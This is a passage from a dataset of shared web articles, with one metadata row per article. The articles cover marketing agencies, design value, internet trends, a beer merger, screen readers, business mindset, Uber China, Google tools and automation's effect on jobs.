which tend to work primarily with heads of marketing. Cross-industry capability, global strength Most of today's digital agencies are either boutique shops or offshoots of multinational advertising networks. Deloitte and Accenture believe that what they can offer in terms of consumer insight and industry expertise outstrips both of these models. ""In my agency career I never encountered such a depth of vertical industry expertise and research as what we have at Deloitte,"" said Schulman. ""As a former agency person, it's refreshing to be getting the kind of access that I have now."" Deloitte Digital, which has six offices in the U.S. and 33 abroad, boasts experts in consumer and industrial products, energy and resources, federal, financial services, life sciences and healthcare, public sector, technology, media, and telecom. ""That enables me as head of the content group to reach out and staff someone from a vertical industry who's really steeped in what's going on,"" Schulman said. That expert then works in tandem with content strategy and content creation to form a ""very purpose-built team."" Accenture, meanwhile, has about 5,000 employees working in the content space, spanning about 20 locations around the globe. ""We operate some of the largest content operations in the world,"" Tuths said. ""Even big agencies just are not able to house the same range of technical skills or attract the same level of talent."" As an example, Tuths points to one of her retail clients, whom she opted not to name in order to protect its marketing strategy. The company offers monthly subscriptions to a box of curated products. For every box, the brand has been creating four how-to videos, but it will soon be adding both more boxes and more products, so its needs for instructional videos are becoming increasingly complex. ""Honestly, these types of challenges are not really for your creative agency,"" she said, pointing out that many agencies outsource their video work. ""We take a much more strategic and long-term approach to the content space. It's about today, but more about tomorrow and helping our clients navigate the space and grow."" DigitasLBi's Ezekiel counters that agencies have evolved more than some think. ""Honestly, six or seven years ago we were not set up in a way [that] our markets could benefit from each other's knowledge, and this is because there was no pressure on the demand side,"" he said. ""Essentially, we didn't have enough global clients 'stitching' the network together."" That has since changed, largely through the growth of the agency's global client base. ""It's through these global clients, who represent over 35 percent of our revenues today, that we have developed a clear process and toolkit for multi-market engagements."" And the winner is? Last year, media research firm PQ Media reported that by the year 2019, U.S. brands will be spending upwards of $300 billion per year on content marketing. Will they opt to stick with the agencies they know, or will they jump ship to new competitors like consultancies? Or will they opt for a third route and increasingly bring content marketing in-house with the help of freelancers and content marketing technology solutions, as companies like Coca-Cola and Cisco have done? We know where consultancies are placing their bets-so how do agencies view these new competitors? ""I think both types of companies have their unique skills, experience, and heritage,"" Ezekiel said. ""The digital creative agencies will always put ideas first and therefore are set apart from the consultancies. The consultancies have a strong respected heritage in business consulting. The convergence of these two is where the future lies, but we believe that the brands that focus on ideas and their reasons to exist will prevail."" ""I would argue that brand-driven companies will win with traditional agencies,"" said Blasevick. ""The content [we] create is driven by the brand and not the channel. I have never heard a single person complain that there is a shortage of content out there. The opposite is true: people are feeling overwhelmed by content-and because of that, they are tuning out if it isn't on brand."" According to the IAB's Susan Borst, the spoils will belong to the firms that best grasp advertising's technological transformation and the ""radically new way of thinking about creative and messaging"" that it requires. ""Those who crack the digital and mobile nut,"" she said, ""with clients that understand and embrace the need for fundamental change, will win in the long-term.""",en
1470073831,CONTENT SHARED,5384282624557636856,8759620187357735368,-706745071962746251,,,,HTML,https://uxdesign.cc/three-lessons-for-design-driven-success-df5cd1486ad6?gi=6a51d02ca593,Three Lessons for Design-Driven Success,"Three Lessons for Design-Driven Success According to a new analysis by the Design Management Institute concludes that design-driven businesses have outperformed the S&P by a whopping 228% over the past 10 years. The bottom line, good design = good business. If you ever meet discussions that question the value of investing in additional high quality and talented design resources, always point back to data - and research has said that design pretty much always creates more value for businesses. [Design-driven companies] outperformed the Standard & Poor's 500 - a stock market index of 500 large publicly traded companies - by 228%. These companies included Apple, Coca-Cola, Ford, Herman Miller, IBM, Intuit, Newell Rubbermaid, Nike, Procter & Gamble, Starbucks, Starwood, Steelcase, Target, Walt Disney, and Whirlpool. All that money these companies put into smoother user experiences, beautiful branding...apparently paid off.  -  Carey Dunne, Fastcodesign Good Design is a Partnership CEO/design partnerships blend the best of business strategy with the influence and power of great design. If you want to influence a culture, you need to start at the top . Good Design Builds Customer Obsession Brings empathy, considers touch points and considers the user, above all else. Customer obsession is what creates engagement, retention and fans. When Walmart revamped its e-commerce experience, unique visitors to its website increased by 200 percent. When Bank of America undertook a user-centered redesign of its process for account registration, online-banking traffic rose by 45 percent.  -  Jim Ross, The Business Value of User Experience Good Design is Strategic Design helps guide priorities, feature requests and order of what to tackle in the backlog. It listens to its most unhappy customers to create business value. It transforms culture to care more about what a customer is thinking, feeling and doing so they have positive and consistent experiences wherever they go. Good design matters because it creates business value in the long run. - Hello stranger-friend, thanks for reading and making it this far! Feel free to check out my design work if you'd like.",en
1470076095,CONTENT SHARED,1286494666178127087,3609194402293569455,4442154705713456410,,,,HTML,http://www.inc.com/young-entrepreneur-council/whats-driving-the-internets-5-hottest-trends.html,5 Internet Trends to Pay Attention to in Late 2016,"Trevor Sumner is a successful NYC-based technologist, CTO and co-founder of LocalVox , avid scuba diver, fisherman, amateur cook and adventure traveler. As the CTO of a marketing technology company, my main challenge is to keep up with rapid changes in technology and consumer behavior in order to create differentiated growth. In the last 10 years, mobile and social media have disrupted advertising, software and consumer electronics. Just like the rise of the PC and internet a decade before, these are foundational disruptions. Multiple groundbreaking technologies are looking to change how we interact with products, companies and each other, and they are being driven by a perfect storm of dependent innovation. It's an exciting time, particularly in five key ways. 1. Machine learning will exponentially heighten the intelligence of our apps and devices. Machine learning is defined as artificial intelligence that enables software to learn without being explicitly pre-programmed. These programs can be given general constraints and outcomes and teach themselves to grow and change as they are exposed to new data. If it sounds vague, that's because machine learning is applicable to a wide variety of problems, often highlighted by complexity or volumes of data. Machine learning is at the crux of language processing apps like Apple's Siri, Google Voice and Amazon's Alexa. It helps them understand us and even anticipate our follow-up questions. It's also powering marketing and advertising technology by offering personalized products and offers, even in areas as highly subjective as fashion . For example, StitchFix, an online personal stylist, can accurately predict the chances you will keep their clothing recommendations after receiving them in the mail. In addition, machine learning helps optimize logistics to better route drivers, predict travel times and optimize shipping and manufacturing processes. That same learning technology also powers the spatial processing necessary for self-driving cars to understand the complex world around them, when to react and prevent accidents, and how to predict the behavior of others. Those same visual libraries are being used to index images and videos for search, power facial recognition and much more. It's no wonder the term ""machine learning"" has increased threefold in Google Trends over the last three years. 2. The Internet of Things (IoT) will activate everything around us. IoT enables everyday objects to have network connectivity to send and receive data. IoT unlocks all kinds of possibilities: smart watches that record our biometrics; Amazon Dash, a magnet on your fridge that can order household items automatically when you run out; or your Nest thermostat that you can control from your smartphone miles away. Just as the PC's usefulness grew exponentially when connected to the internet, so too will the everyday objects around you. Realizing the dreams of a truly networked world at the appliance level has required some key advancements. Because many IoT objects will rarely be connected to a power source, they must use power wisely. Next-generation batteries, energy conservation and low-energy communication protocols are the keys to ensuring devices aren't bulky, inconvenient or expensive. And because their form factors are often small and tactile, simplified interfaces are important for success. Voice, tactile and highly-simplified screen interfaces like Alexa, Amazon Dash and Nest require extraordinary UX/UI design, as convenience will drive consumer adoption. The inside story of Amazon Echo is a great lesson on the extraordinary efforts needed to get an IoT product right. 3. Mobile will continue to influence our lives. The internet advertising industry has grown 20 percent year-over-year and is largely fueled by mobile, which has grown 66 percent YoY. Still, mobile only represents 12 percent of spend versus 25 percent of time spent, which is to say mobile advertising still has room to double. Entire generations are shifting from watching TV to watching video on mobile. More people watched the MTV Music Awards and college football on Snapchat than on TV. Every aspect of video production, management and delivery will have to improve at lower costs to keep up with demand. As well, messaging is being adopted in all areas of our lives, especially Asia, which is ahead in this area. It's changing the way people bank, hail a taxi or buy online. In the enterprise space, Slack took just one year to hit a $1 billion valuation. Lastly, upcoming 5G networks will unlock unparalleled speeds that will untether us all from hardline cable and fiber. There will be a huge investment in infrastructure over the next five years, and traditional hardline vendors, like cable companies, are going to struggle when the internet is truly mobile. When data is ubiquitous, inexpensive and lightning fast, data-heavy services will become completely unshackled. 4. Augmented and virtual reality will become reality. The popularity of Snapchat and MSQRD prove that we inherently want to create augmented digital versions of ourselves, and MagicLeap has shown that we are not too far away from groundbreaking realism in augmented reality. After a decade of talk, we are finally close to the ""Minority Report"" experience. In its first week, Pokemon Go, has experienced more daily active users than Twitter , demonstrating a mass market desire to have fun in an AR/VR environment. However, there simply isn't enough AR/VR content to fulfill projected usage, which represents a huge opportunity for content creators. There is a tremendous amount of processing power needed to fuel these apps, and a new wave of consumer hardware with AR/VR at the forefront will help reinvigorate flat smartphone sales . Networked 360-degree cameras made popular by Google Maps will now be in our hands and will help make the mapping of physical-to-virtual worlds photo-realistic. VR will force society as a whole to reevaluate our role of the physical world, how much time we spend ""plugged in,"" and how we can spend time creating a better reality. 5. Security will underlie all big changes. We are in an extremely fragile state in terms of security. Enterprises are underprepared for cyber attacks, the director of the FBI calls cybercrime a top threat, and news of hackers stealing millions of personal records has become commonplace . We are enabling the objects around us to collect more intimate data, like where we are, when we sleep, what brands we buy and how often, and whether or not we exercise. Beyond new transactional and authentication protocols like Blockchain, security needs to be embedded as a primary layer in every application. That's a daunting challenge for governments, enterprises and individuals, and it will be interesting to see how much fraud and cyber crime we are willing to tolerate as part of our systems. With these five key trends, our world is changing faster than ever before. Prepare yourself -- and your business -- for what's set to have a huge impact on the way our lives operate.",en
1470076525,CONTENT SHARED,-3102652803014865472,7421498048184238966,3547502319603620906,,,,HTML,http://g1.globo.com/economia/negocios/noticia/2016/07/conselho-da-sabmiller-aceita-proposta-de-compra-da-ab-inbev.html,Conselho da SABMiller aceita proposta de compra da AB InBev,"O Conselho de Administração da cervejaria britânica SABMiller aceitou nesta sexta-feira (29) a proposta de compra por parte da gigante AB InBev, de capital belga e brasileiro, na que se anuncia como uma das maiores fusões/aquisições da história . O negócio é avaliado em mais de US$ 100 bilhões. A nova oferta apresentada pela líder do setor de cervejas foi de 45 libras, uma a mais que na proposta anterior, por cada ação da SABMiller -- a número 2 do mundo -, o que confere à cervejaria um valor de mercado de 79 bilhões de libras (o equivalente a US$ 103 bilhões), segundo a agência France Presse. O Conselho de Administração da SABMiller indicou em um comunicado que ""prevê por unanimidade"" recomendar aos seus acionistas que aceitem a transação. A oferta de compra foi lançada no final do ano passado , mas a AB InBev aumentou a sua oferta pela rival britânica , compensando parcialmente a desvalorização da libra esterlina provocada pela vitória do Brexit . O valor da nova oferta, no entanto, foi inferior ao estimado pelos acionistas da SABMiller, que antes do Brexit resistiam à fusão/aquisição e avaliavam o preço da companhia em US$ 121 bilhões. AB InBev, maior cervejaria mundial, comemorou a decisão de sua até então principal rival e expressou sua vontade de concluir ""o quanto antes"" a operação, segundo a France Presse. Próximos passos Desde a primeira aproximação, ""muitos fatores afetaram o valor da proposta, sobretudo, o impacto do voto a favor do Brexit sobre a libra esterlina"", admitiu o presidente da SABMiller, Jan do Plessis, citado no comunicado. A operação já recebeu o aval das autoridades de concorrência da UE, mas também exige a autorização das instâncias antimonopólio de cerca de 15 países. A AB InBev aceitou uma série de concessões para obter a autorização da UE, entre elas a se desfazer da maioria dos negócios da SABMiller na Europa - incluindo as marcas Foster's e Grolsch - e de se desvincular da cervejaria japonesa Peroni. A nova gigante de cervejas combinará as marcas Budweiser, Stella Artois e Corona, da AB InBev, com Peroni, Grolsh e Pilsner Urquell, da SABMiller, diminuindo as principais competidoras como Heineken e Carlsberg. Ao comprar a SABMiller, a AB InBev adicionaria mercados da América Latina como Colômbia e Peru e entraria na África em um momento em que alguns de seus mercados domésticos como os Estados Unidos estão enfraquecendo, conforme consumidores favorecem cervejas artesanais e drinks. Bilionário brasileiro por trás do negócio A AB InBev é parcialmente controlada pelo fundo de private equity 3G Capital, administrado por investidores brasileiros, e controla indiretamente a brasileira Ambev. A AB Inbev tem entre os seus donos os brasileiros Jorge Paulo Lemann (homem mais rico do Brasil com fortuna estimada em mais de US$ 25 bilhões, segundo a Bloomberg) , Carlos Alberto Sicupira e Marcel Herrmann Telles. Dono do fundo 3G Capital e sócio da AB Inbev, Lemann tem feito negócios em parceria com a Berkshire Hathaway, de Warren Buffet, como a compra da Heinz e fusão da companhia com a Kraft Foods.",pt
1470077935,CONTENT SHARED,-33740349536513960,-1578287561410088674,8021285884034105316,,,,HTML,http://usabilitygeek.com/10-free-screen-reader-blind-visually-impaired-users/,10 Free Screen Readers For Blind Or Visually Impaired Users - Usability Geek,"It is not difficult for a sighted person to imagine how being blind or visually impaired could make using a computer difficult. Just close your eyes and you will instantly experience that even processing text is impossible - or impossible without additional software at least. Now a range of software is available that can help to make using a computer an easier, more enjoyable and more productive experience for blind or visually impaired users. Essential Software: A Screen Reader A screen reader is an essential piece of software for a blind or visually impaired person. Simply put, a screen reader transmits whatever text is displayed on the computer screen into a form that a visually impaired user can process (usually tactile, auditory or a combination of both). While the most basic screen readers will not help blind users navigate a computer, those with additional features can give people with visual impairment much more independence. Whilst most screen readers work by having a synthetic voice that reads text aloud, others can also communicate data via a refreshable braille display. Such screen readers make use of crystals that can expand when exposed to particular voltage levels (thanks to a phenomenon known as the Piezo Effect ), allowing visually impaired users to use their fingers to read the text that is displayed on screen. But while screen-reading software can be affordable, such hardware is usually very expensive. Free Software Makes 'Universal' Access a Reality Many people could not afford the expensive price tag associated with some of the more sophisticated screen readers. Luckily for them, there are several screen reading software that are completely free. The following is a list of free screen readers that one can download: Software for Work and Play Such software is essential for blind users to read the content of web pages or communicate with friends and colleagues. As more sophisticated software has been made available to a larger audience, people have begun turning their attention to developing leisure programs that are designed with accessibility in mind. For example, the website blindsoftware.com has an accessible mp3 player to download and a selection of games. Developing Software for Everyone When it comes to universal access, several people with hearing or visual impairments or illnesses have found that it can become a barrier to using traditional software. The goal is to remove those perceived barriers and help them be able to achieve results beyond their imagination. This is why it is important that developers continue to work on making software as accessible as they can for a wide range of people, so everyone can benefit from the powerful tools computers offer.",en
1470090834,CONTENT SHARED,8215778202715904841,-6067316262393890508,2245546651160341154,,,,HTML,https://hbr.org/2016/07/how-to-create-an-exponential-mindset,How to Create an Exponential Mindset,"Digital business models are a bit of a misnomer. It's not digital technology that defines them; it's their ability to create exponential value. The music and video industries, for example, weren't redefined by converting analog to digital formats. Just ask Sony about Minidisc players and Netflix about their DVD business. To create exponential value , it's imperative to first create an exponential mindset . The incremental mindset focuses on making something better , while the exponential mindset is makes something different . Incremental is satisfied with 10%. Exponential is out for 10X. In the last century, industrial business models were defined by their use of machines to create increasing returns to scale. Digital business models use network effects to create what Ray Kurzweil describes as accelerating returns to scale. The key difference is that industrial models are linear while digital models are exponential, as shown in the chart below. While others have written about how to design exponential strategies and organizations, I want to focus here on how to create an exponential mindset . My work with clients suggests that the incremental mindset is more deeply embedded than we might think. Unless you are conscious and diligent, you can end up with a strategy that looks digital (i.e. uses digital technology) but doesn't actually operate digitally (i.e. achieves accelerating returns). The role of incremental and exponential mindsets vary in each phase of the business journey: launch, grow, and expand. Launch: Vision and Uncertainty In the launch phase of a business, the team needs to develop and refine the business model. The Lean Startup approach of test, iterate, and pivot is the right thing to do. But you also need the right way to think. Are you thinking about your business incrementally or exponentially? The incremental mindset draws a straight line from the present to the future. A ""good"" incremental business plan enables you to see exactly how you will get from here to there. But exponential models are not straight. They are like a bend in the road that prevents you from seeing around the corner, except in this case the curve goes up. Without an exponential mindset, Google would never have created such an ambitious vision as ""organizing the world's information,"" Facebook would never have set out to ""make the world more open and connected,"" and Airbnb to ""create a world where all 7 Billion people can Belong Anywhere."" Similarly, a group of innovative organizations in the public sector are out to solve global social issues by achieving "" transformative scale ."" In Maine they have an expression that ""You can't get there from here."" In the launch phase, you need to realize that an exponential strategy has inherent uncertainty. You can't know what things will look like on the other side of the curve. You can't draw a straight line from where you are to where you are going. There's no step-by-step plan. The exponential mindset helps you become comfortable with uncertainty and more ambitious with your vision. Build: Courage and Patience These days, many companies are able to get through the launch phase with an exponential mindset. They manage their uncertainty, take the leap, and start the journey despite being unable to see around the bend. Fear of disruption and envy of unicorns can be a powerful motivator. But then something happens. Or more precisely, something doesn't happen. Take a look at the chart above. In the first part of the build phase, you don't see a lot of change. It's not until the second part when the line starts to bend. It's simply the nature of exponential change. Things happen very slowly before they happen very quickly. If this was the only world we knew, it wouldn't be a problem. But we were raised with an incremental mindset. So we can't help but compare the exponential path to the incremental path. And this creates a problem. We are accustomed to measuring progress linearly and incrementally. If 30% of the time has gone by, we assume that we should be 30% of the way there. That's how things work in the physical world when we are traveling to a destination. But exponential models don't work that way. What happens is that businesses run into something I call the ""expectation gap,"" where the exponential strategy is at greatest risk from the incremental mindset. It's where many companies abandon the exponential model for the incremental. I see this consistently on a micro scale in my own work. My workshops are designed with an exponential mindset to generate new ways of thinking about marketing, culture and strategy. Somewhere around a third of the way into a workshop, the leader invariably says something like ""so when are we going to get something done?"" The reason is that they are still operating with an incremental mindset. A third of the time has passed, but it seems like they are only 10% of the way to our destination. In fact, most of the progress happens once the curve starts to bend. Invariably by the end of the day the same people are remarking that they can't believe how much we got done in such a short period of time. In your exponential journey, pay attention to when people get the most impatient for results. It's the point in the chart where there is the largest gap between incremental and exponential paths. This expectation gap is a risk to the business strategy because the impatience can be used by opponents or skeptics to convince stakeholders to jump from the exponential to the incremental. You will have the immediate relief of having ""line of sight"" once again and see steady progress. But you will also have given up the possibility of accelerating returns and the opportunity to keep up with customers and competitors. The exponential mindset helps you have the courage to persevere and the patience to see it through. Grow: Agility and Control In the third phase, you have managed the uncertainty of the early days, the impatience of the middle phase, and now you are firmly ""in the curve."" Growth is happening faster than you can handle. At this point, the incremental mindset is to try to rein things in and get things under control. But that would be a mistake. To sustain the accelerating returns, you need to shift your mindset about how to mobilize and manage resources. The incremental mindset assumes that it takes more inputs to produce more outputs. So as growth starts to accelerate, teams start to look for more resources in proportion to the growth. But the addition of too many people or too many resources can ""flood the engine"" of growth. You need an exponential mindset to figure out how 1X additional input can create 10X additional output. You also need to apply an exponential mindset to how you manage the resources you have. The incremental mindset about management is like creating a line of dominos . Everything needs to be highly coordinated with active oversight to make progress one step at a time. The exponential mindset is like this demonstration with ping pong balls in which things happen in parallel with a focus on the interactions among participants. As I've written about separately, there is a way to let go without losing control. In the exponential mindset, managers replace control of people with control of principles. The use of doctrine to guide decision-making generates alignment, consistency and empowerment. But most leaders are accustomed to making decisions rather than empowering decisions. The anxiety from a loss of control can easily push companies off the exponential path back onto the incremental path. The exponential mindset helps to grow output faster than input, and empower teams to achieve both alignment and autonomy. To summarize, digital business models require a shift from incremental to exponential. At the start, it takes vision and a leap of faith to commit to the unknown. In the early days, it takes courage and patience to build the foundation for growth even when results aren't yet apparent. When growth kicks in, agility comes from empowering others and letting go without losing control. In all of the stages, the challenge is to ""unlearn"" familiar ways of thinking and embrace the unfamiliar. But with a shift from the incremental to exponential mindset comes the opportunity for real innovation.",en
1470100329,CONTENT SHARED,7446166231252589534,-1032019229384696495,-1697215795334965498,,,,HTML,https://techcrunch.com/2016/07/31/uber-china-will-reportedly-merge-with-archrival-didi-chuxing/,Uber China will reportedly merge with archrival Didi Chuxing,"Huge news for China's ride-sharing industry, it appears that Didi Chuxing will gobble up rival Uber China in a merger deal that will value the combined entity in China at $35 billion. The rumor has being doing the rounds for around a month now, with both sides denying but it looks like a deal is happening. Both Bloomberg and the Wall Street Journal cited sources claiming that a deal has been agreed. The timing is interesting, too, since last week the Chinese government released proposed regulations that will make taxi-hailing services legal from November 1. Bloomberg reports that the deal will see Didi, which has more than $7 billion in cash on hand after extensive fundraising, will invest $1 billion into Uber's global business in exchange for Uber China's operations. In exchange, Uber China and its investors will take a 20 percent stake in the newly-merged company in China. We've contacted Uber and Didi for comment and will update this story accordingly. More to follow",en
1470146112,CONTENT SHARED,-1501277643953505671,3375381077362025672,667883351362835087,,,,HTML,https://www.google.com/design/spec-wear/material-design-for-wearables/introduction.html,Introduction - Material Design for Wearables,Android Wear is a lightweight platform that connects to the wearer's body and provides the right information at the right time. Wear makes it easy for users to be more connected to both the online and real worlds by making important information available at a glance and allowing users to complete tasks quickly.,en
1470148803,CONTENT SHARED,8947914348334479785,-9009798162809551896,-8017184432614384212,,,,HTML,http://www.omgchrome.com/training-for-google-apps-chrome-extension/,'Training for Google Apps' Is One Of Chrome's Best Kept Secrets - OMG! Chrome!,"Do you ever start using a Google service and feel like you really don't know how to use it properly? I feel that way quite often with Google Docs and Google Calendar. It's not that I don't know how to use them - I don't know how to use each feature and option like a nimble productivity ninja! If you sometimes feel the same I definitely recommend you check out ' Training for Google Apps'. This free, By Google extension delivers interactive training and walkthroughs for a slate of Google services, including Calendar, Classroom, Docs, Drive, Forms, Gmail, Google+, Groups, Hangouts, and more. ""Set up the Training for Google Apps Chrome extension to access interactive, self-paced Google Apps lessons directly in your browser. The extension adds a Training menu to Google Apps services, including the Admin console. Click the menu to see relevant lessons. Each lesson is quick and easy-to-follow, with onscreen instructions and callouts to guide you. The add-on delivers a real in-app experience, with all training taking place in the Google App you're using. It sounds silly, but not needing to leave an application to learn how to use it helps. Here's a quick lesson/walkthrough I chose while in Google Drive. Although an audio lesson it also guides me around the interface to show me where the options I need to access are on the screen I'm looking at. Not New, But Definitely Cool Training for Google Apps has been around for a while and is not a new extension. But it is new to me and, I suspect, a great many of you, too. Once installed it integrates seamlessly in native Google products, whether they're opened in a browser tab or opened as a window. From there you can access step-by-step in-app video tutorials, product features, overviews, etc. It is extremely well put together, and something Chrome OS users have needed for years! Not every app/service is covered (Google Keep among them) but most of the more complicated or feature-dense of the search giant's app offerings are. 'Training for Google Apps' Extension on Chrome Web Store Thanks to Travis C! Training for Google Apps is a free extension available for Google Chrome on Windows, Mac and Linux and Google Chrome OS.",en
1470158090,CONTENT SHARED,-2114113759134837010,3217014177234377440,-9119037449578590016,,,,HTML,http://www.labnol.org/internet/google-drive-tree/21198/,[Google4Work] Create a Tree View of your Google Drive,"Learn how to create a hierarchical tree listing all the files and folders in your Google Drive. The Drive tree can also be printed or saved for later. If you have ever worked with DOS or Linux before, you'll be familiar with the ""tree"" command that recursively lists all the files and folders in the current directory in a tree like format. Most of us prefer visual navigation through Windows Explorer or Mac Finder but a unique advantage with the tree command is that you can save and print the directory structure. Tree Command for your Google Drive I have written a little Google Script that is much like running ""tree"" but against your Google Drive. It creates a hierarchical tree diagram of all the files and folders in your Google Drive that you can save for offline reference or even print. To get started, click here and authorize the script to access the files in your Google Drive. Once the authorization is complete, it may take a minute to generate the entire Google Drive tree. You'll then get a link to download an HTML file that mirrors your Drive structure. You can directly send the file to the printer as well. Internally, all the script does is recursive traversal and the tree itself is sylized through simple CSS. In the current version, only the folder names in the tree are linked to their corresponding location in your Google Drive though the script can be easily extended to create a more data-rich tree that includes details like file URLs, sharing permissions , file sizes, file types and so on. The process may take slightly longer if you have a large drive with tons of file and folders. Also, as soon as you authorize the Google Drive Tree script, you'll get an email from Google with instructions on how to revoke access. You can do so as soon as the tree has been generated.",en
1470161899,CONTENT SHARED,4644672909721737325,3829784524040647339,6599557693945243326,,,,HTML,http://www.economist.com/news/special-report/21700758-will-smarter-machines-cause-mass-unemployment-automation-and-anxiety,Automation and anxiety,"SITTING IN AN office in San Francisco, Igor Barani calls up some medical scans on his screen. He is the chief executive of Enlitic, one of a host of startups applying deep learning to medicine, starting with the analysis of images such as X-rays and CT scans. It is an obvious use of the technology. Deep learning is renowned for its superhuman prowess at certain forms of image recognition; there are large sets of labelled training data to crunch; and there is tremendous potential to make health care more accurate and efficient. Dr Barani (who used to be an oncologist) points to some CT scans of a patient's lungs, taken from three different angles. Red blobs flicker on the screen as Enlitic's deep-learning system examines and compares them to see if they are blood vessels, harmless imaging artefacts or malignant lung nodules. The system ends up highlighting a particular feature for further investigation. In a test against three expert human radiologists working together, Enlitic's system was 50% better at classifying malignant tumours and had a false-negative rate (where a cancer is missed) of zero, compared with 7% for the humans. Another of Enlitic's systems, which examines X-rays to detect wrist fractures, also handily outperformed human experts. The firm's technology is currently being tested in 40 clinics across Australia. A computer that dispenses expert radiology advice is just one example of how jobs currently done by highly trained white-collar workers can be automated, thanks to the advance of deep learning and other forms of artificial intelligence. The idea that manual work can be carried out by machines is already familiar; now ever-smarter machines can perform tasks done by information workers, too. What determines vulnerability to automation, experts say, is not so much whether the work concerned is manual or white-collar but whether or not it is routine. Machines can already do many forms of routine manual labour, and are now able to perform some routine cognitive tasks too. As a result, says Andrew Ng, a highly trained and specialised radiologist may now be in greater danger of being replaced by a machine than his own executive assistant: ""She does so many different things that I don't see a machine being able to automate everything she does any time soon."" So which jobs are most vulnerable? In a widely noted study published in 2013, Carl Benedikt Frey and Michael Osborne examined the probability of computerisation for 702 occupations and found that 47% of workers in America had jobs at high risk of potential automation. In particular, they warned that most workers in transport and logistics (such as taxi and delivery drivers) and office support (such as receptionists and security guards) ""are likely to be substituted by computer capital"", and that many workers in sales and services (such as cashiers, counter and rental clerks, telemarketers and accountants) also faced a high risk of computerisation. They concluded that ""recent developments in machine learning will put a substantial share of employment, across a wide range of occupations, at risk in the near future."" Subsequent studies put the equivalent figure at 35% of the workforce for Britain (where more people work in creative fields less susceptible to automation) and 49% for Japan. What determines vulnerability to automation is not so much whether the work concerned is manual or white-collar but whether or not it is routine Economists are already worrying about ""job polarisation"", where middle-skill jobs (such as those in manufacturing) are declining but both low-skill and high-skill jobs are expanding. In effect, the workforce bifurcates into two groups doing non-routine work: highly paid, skilled workers (such as architects and senior managers) on the one hand and low-paid, unskilled workers (such as cleaners and burger-flippers) on the other. The stagnation of median wages in many Western countries is cited as evidence that automation is already having an effect-though it is hard to disentangle the impact of offshoring, which has also moved many routine jobs (including manufacturing and call-centre work) to low-wage countries in the developing world. Figures published by the Federal Reserve Bank of St Louis show that in America, employment in non-routine cognitive and non-routine manual jobs has grown steadily since the 1980s, whereas employment in routine jobs has been broadly flat (see chart). As more jobs are automated, this trend seems likely to continue. And this is only the start. ""We are just seeing the tip of the iceberg. No office job is safe,"" says Sebastian Thrun, an AI professor at Stanford known for his work on self-driving cars. Automation is now ""blind to the colour of your collar"", declares Jerry Kaplan, another Stanford academic and author of ""Humans Need Not Apply"", a book that predicts upheaval in the labour market. Gloomiest of all is Martin Ford, a software entrepreneur and the bestselling author of ""Rise of the Robots"". He warns of the threat of a ""jobless future"", pointing out that most jobs can be broken down into a series of routine tasks, more and more of which can be done by machines. In previous waves of automation, workers had the option of moving from routine jobs in one industry to routine jobs in another; but now the same ""big data"" techniques that allow companies to improve their marketing and customer-service operations also give them the raw material to train machine-learning systems to perform the jobs of more and more people. ""E-discovery"" software can search mountains of legal documents much more quickly than human clerks or paralegals can. Some forms of journalism, such as writing market reports and sports summaries, are also being automated. Predictions that automation will make humans redundant have been made before, however, going back to the Industrial Revolution, when textile workers, most famously the Luddites, protested that machines and steam engines would destroy their livelihoods. ""Never until now did human invention devise such expedients for dispensing with the labour of the poor,"" said a pamphlet at the time. Subsequent outbreaks of concern occurred in the 1920s (""March of the machine makes idle hands"", declared a New York Time s headline in 1928), the 1930s (when John Maynard Keynes coined the term ""technological unemployment"") and 1940s, when the New York Times referred to the revival of such worries as the renewal of an ""old argument"". As computers began to appear in offices and robots on factory floors, President John F. Kennedy declared that the major domestic challenge of the 1960s was to ""maintain full employment at a time when automation...is replacing men"". In 1964 a group of Nobel prizewinners, known as the Ad Hoc Committee on the Triple Revolution, sent President Lyndon Johnson a memo alerting him to the danger of a revolution triggered by ""the combination of the computer and the automated self-regulating machine"". This, they said, was leading to a new era of production ""which requires progressively less human labour"" and threatened to divide society into a skilled elite and an unskilled underclass. The advent of personal computers in the 1980s provoked further hand-wringing over potential job losses. Yet in the past technology has always ended up creating more jobs than it destroys. That is because of the way automation works in practice, explains David Autor, an economist at the Massachusetts Institute of Technology. Automating a particular task, so that it can be done more quickly or cheaply, increases the demand for human workers to do the other tasks around it that have not been automated. There are many historical examples of this in weaving, says James Bessen, an economist at the Boston University School of Law. During the Industrial Revolution more and more tasks in the weaving process were automated, prompting workers to focus on the things machines could not do, such as operating a machine, and then tending multiple machines to keep them running smoothly. This caused output to grow explosively. In America during the 19th century the amount of coarse cloth a single weaver could produce in an hour increased by a factor of 50, and the amount of labour required per yard of cloth fell by 98%. This made cloth cheaper and increased demand for it, which in turn created more jobs for weavers: their numbers quadrupled between 1830 and 1900. In other words, technology gradually changed the nature of the weaver's job, and the skills required to do it, rather than replacing it altogether. In a more recent example, automated teller machines (ATMs) might have been expected to spell doom for bank tellers by taking over some of their routine tasks, and indeed in America their average number fell from 20 per branch in 1988 to 13 in 2004, Mr Bessen notes. But that reduced the cost of running a bank branch, allowing banks to open more branches in response to customer demand. The number of urban bank branches rose by 43% over the same period, so the total number of employees increased. Rather than destroying jobs, ATMs changed bank employees' work mix, away from routine tasks and towards things like sales and customer service that machines could not do. The same pattern can be seen in industry after industry after the introduction of computers, says Mr Bessen: rather than destroying jobs, automation redefines them, and in ways that reduce costs and boost demand. In a recent analysis of the American workforce between 1982 and 2012, he found that employment grew significantly faster in occupations (for example, graphic design) that made more use of computers, as automation sped up one aspect of a job, enabling workers to do the other parts better. The net effect was that more computer-intensive jobs within an industry displaced less computer-intensive ones. Computers thus reallocate rather than displace jobs, requiring workers to learn new skills. This is true of a wide range of occupations, Mr Bessen found, not just in computer-related fields such as software development but also in administrative work, health care and many other areas. Only manufacturing jobs expanded more slowly than the workforce did over the period of study, but that had more to do with business cycles and offshoring to China than with technology, he says. So far, the same seems to be true of fields where AI is being deployed. For example, the introduction of software capable of analysing large volumes of legal documents might have been expected to reduce the number of legal clerks and paralegals, who act as human search engines during the ""discovery"" phase of a case; in fact automation has reduced the cost of discovery and increased demand for it. ""Judges are more willing to allow discovery now, because it's cheaper and easier,"" says Mr Bessen. The number of legal clerks in America increased by 1.1% a year between 2000 and 2013. Similarly, the automation of shopping through e-commerce, along with more accurate recommendations, encourages people to buy more and has increased overall employment in retailing. In radiology, says Dr Barani, Enlitic's technology empowers practitioners, making average ones into experts. Rather than putting them out of work, the technology increases capacity, which may help in the developing world, where there is a shortage of specialists. And while it is easy to see fields in which automation might do away with the need for human labour, it is less obvious where technology might create new jobs. ""We can't predict what jobs will be created in the future, but it's always been like that,"" says Joel Mokyr, an economic historian at Northwestern University. Imagine trying to tell someone a century ago that her 